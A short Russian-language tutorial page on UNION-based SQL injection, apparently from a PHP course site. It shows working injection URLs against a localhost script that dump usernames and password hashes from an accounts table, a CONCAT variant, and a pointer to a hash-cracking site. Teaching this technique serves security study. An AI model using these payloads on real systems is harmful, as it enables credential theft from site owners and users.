Публикации - SQL-инъекция

Ключевое слово UNION

Вместо последнего параметра мы можем ввести заведомо несуществующий параметр, после чего вызвать команду UNION, и с его помощью сделать SELECT из любой другой таблицы.

Так можно получить логины или пароли всех зарегистрированных пользователей. Причем для этого нужно угадать лишь имя таблицы и столбца, где эти логины и пароли находятся.

http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+name+FROM+system_accounts

Получаем пароли:

http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+pass+FROM+system_accounts

Склеенные в одну строку пароли выглядят примерно так:

 
523af537946b79c4f8369ed39ba786053147da8ab4a0437c15ef51a5cc7f2dc4 

Разделим записи, используя функцию CONCAT().

http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+CONCAT(name,+”//”)+AS+name+FROM+system_accounts

Или (тоже самое но с шестнадцатеричным кодом):

http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+CONCAT%28name,+%22//%22%29+AS+name+FROM+system_accounts

Получим удобочитаемые записи:

523af537946b79c4f8369ed39ba//786053147da8ab4a0437c15ef51a5cc7f2dc4// 

Для расшифровки паролей, можно воспользоваться ресурсом https://cmd5.ru

Количество комментариев: 0

Для того, чтобы оставить коментарий необходимо зарегистрироваться


Изображения Видео

1. PHP Pro 3. Михалькевич А.В. PHP PRO –Мн. :ОДО «Центр Обучающих Технологий», 2016, 381 с.
2. Java. Промышленное программирование: практическое пособие Блинов, И. Н. / И. Н. Блинов, В. С. Романчик. - Мн. : УниверсалПресс, 2007. - 704 с.